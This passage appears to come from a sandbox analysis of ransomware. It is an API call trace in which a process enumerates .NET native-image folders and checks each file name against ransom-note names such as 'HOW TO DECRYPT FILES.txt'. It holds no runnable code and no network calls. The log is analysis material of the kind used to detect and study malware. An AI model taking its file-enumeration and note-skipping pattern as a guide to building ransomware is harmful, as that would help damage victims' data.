[0112.961] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.961] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CustomMarshalers.ni.dll") returned 1 [0112.961] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CustomMarshalers.ni.dll") returned 1 [0112.961] lstrcmpiA (lpString1="", lpString2="CustomMarshalers.ni.dll") returned -1 [0112.964] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.964] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CustomMarshalers.ni.dll.aux") returned 1 [0112.964] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CustomMarshalers.ni.dll.aux") returned 1 [0112.964] lstrcmpiA (lpString1="", lpString2="CustomMarshalers.ni.dll.aux") returned -1 [0112.965] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\dfsvc\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8f7aa50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf8f7aa50, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xf8f7aa50, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.966] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\dfsvc\\c9beed205edb46e7045f1d71a10a0e3e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8f7aa50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf8f7aa50, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xf8f7aa50, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x380063, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.966] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.966] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dfsvc.ni.exe") returned 1 [0112.966] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dfsvc.ni.exe") returned 1 [0112.966] lstrcmpiA (lpString1="", lpString2="dfsvc.ni.exe") returned -1 [0112.969] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.969] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dfsvc.ni.exe.aux") returned 1 [0112.969] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dfsvc.ni.exe.aux") returned 1 [0112.969] lstrcmpiA (lpString1="", lpString2="dfsvc.ni.exe.aux") returned -1 [0112.970] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.A3ec156ec#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe65cd50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfe65cd50, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfe65cd50, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.971] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.A3ec156ec#\\8657e5ad81c0a6e2866918d9af6fda8e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe65cd50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfe65cd50, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfe65cd50, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.973] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.973] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Activities.Build.ni.dll") returned -1 [0112.973] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Activities.Build.ni.dll") returned -1 [0112.973] lstrcmpiA (lpString1="", lpString2="Microsoft.Activities.Build.ni.dll") returned -1 [0112.974] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.974] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Activities.Build.ni.dll.aux") returned -1 [0112.974] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Activities.Build.ni.dll.aux") returned -1 [0112.974] lstrcmpiA (lpString1="", lpString2="Microsoft.Activities.Build.ni.dll.aux") returned -1 [0112.975] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B22c61a69#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcf4d830, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfcf4d830, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfcf4d830, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.978] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B22c61a69#\\d63e5d9773b469d0deff310ac265cce6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcf4d830, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfcf4d830, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfcf4d830, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.980] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.980] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0112.980] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0112.980] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Engine.ni.dll") returned -1 [0112.981] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.981] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Engine.ni.dll.aux") returned -1 [0112.982] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Engine.ni.dll.aux") returned -1 [0112.982] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Engine.ni.dll.aux") returned -1 [0112.982] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B3325a29b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2061bf60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb2322d80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb2322d80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.983] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B3325a29b#\\40dd814b4ff686aebcefab30a26c12ff\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb072ab00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb072ab00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb072ab00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.986] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.986] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0112.986] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0112.986] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0112.987] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.987] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Framework.ni.dll.aux") returned -1 [0112.987] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Framework.ni.dll.aux") returned -1 [0112.987] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Framework.ni.dll.aux") returned -1 [0112.988] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B83e9cb53#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x229846a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1e3a020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1e3a020, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.989] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.B83e9cb53#\\4c91b382d9bd43445d253d4e2931a633\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb05157c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb05157c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb05157c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.992] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.992] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Utilities.v4.0.ni.dll") returned -1 [0112.992] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Utilities.v4.0.ni.dll") returned -1 [0112.992] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Utilities.v4.0.ni.dll") returned -1 [0112.993] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.994] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Utilities.v4.0.ni.dll.aux") returned -1 [0112.994] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Utilities.v4.0.ni.dll.aux") returned -1 [0112.994] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Utilities.v4.0.ni.dll.aux") returned -1 [0112.994] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Baa2ca56b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23734520, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1dc7c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1dc7c00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.995] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Baa2ca56b#\\3e13077dafd18ba5c345617b4a7ebeba\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb129f4e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb12c5640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb12c5640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.998] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.998] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Tasks.v4.0.ni.dll") returned -1 [0112.998] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Tasks.v4.0.ni.dll") returned -1 [0112.998] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Tasks.v4.0.ni.dll") returned -1 [0112.999] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.999] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Tasks.v4.0.ni.dll.aux") returned -1 [0112.999] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Tasks.v4.0.ni.dll.aux") returned -1 [0112.999] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Tasks.v4.0.ni.dll.aux") returned -1 [0113.000] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Bfc9dc24d#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9c8cf0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfea14fb0, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfea14fb0, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.001] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Bfc9dc24d#\\f656670f549d63f54bf4d79bd810dba0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea14fb0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfea3b110, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfea3b110, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.003] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.003] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Conversion.v4.0.ni.dll") returned -1 [0113.003] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Conversion.v4.0.ni.dll") returned -1 [0113.003] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Conversion.v4.0.ni.dll") returned -1 [0113.005] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.005] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Conversion.v4.0.ni.dll.aux") returned -1 [0113.005] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Conversion.v4.0.ni.dll.aux") returned -1 [0113.005] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Conversion.v4.0.ni.dll.aux") returned -1 [0113.005] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Build\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc046d50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfc046d50, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfc046d50, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.006] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Build\\38b8551f7041485c08b99982f2e904f5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc046d50, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfc046d50, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfc046d50, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.007] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.007] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.ni.dll") returned -1 [0113.007] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.ni.dll") returned -1 [0113.007] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.ni.dll") returned -1 [0113.010] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.010] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.ni.dll.aux") returned -1 [0113.010] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.ni.dll.aux") returned -1 [0113.010] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.ni.dll.aux") returned -1 [0113.010] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c5fc40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb13f6140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb13f6140, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.011] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\77dd0f7c5703c674f4de615fce9054d2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a51e00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa1a51e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa1a51e00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.013] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.013] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.CSharp.ni.dll") returned -1 [0113.013] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.CSharp.ni.dll") returned -1 [0113.013] lstrcmpiA (lpString1="", lpString2="Microsoft.CSharp.ni.dll") returned -1 [0113.016] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.016] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.CSharp.ni.dll.aux") returned -1 [0113.016] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.CSharp.ni.dll.aux") returned -1 [0113.016] lstrcmpiA (lpString1="", lpString2="Microsoft.CSharp.ni.dll.aux") returned -1 [0113.016] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Ifcaec084#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc7910b0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfc7910b0, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfc7910b0, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.017] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Ifcaec084#\\bdf4e8b75861dbd91fcc42c354d45902\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc7910b0, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xfc7910b0, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xfc7910b0, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.022] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.022] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Internal.Tasks.Dataflow.ni.dll") returned -1 [0113.022] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Internal.Tasks.Dataflow.ni.dll") returned -1 [0113.022] lstrcmpiA (lpString1="", lpString2="Microsoft.Internal.Tasks.Dataflow.ni.dll") returned -1 [0113.024] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.024] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Internal.Tasks.Dataflow.ni.dll.aux") returned -1 [0113.024] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Internal.Tasks.Dataflow.ni.dll.aux") returned -1 [0113.024] lstrcmpiA (lpString1="", lpString2="Microsoft.Internal.Tasks.Dataflow.ni.dll.aux") returned -1 [0113.024] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.JScript\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dc52c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1dc52c90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1dc52c90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.027] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.JScript\\621366b9acb7abb8b7f5d32b6951d0f4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dc52c90, 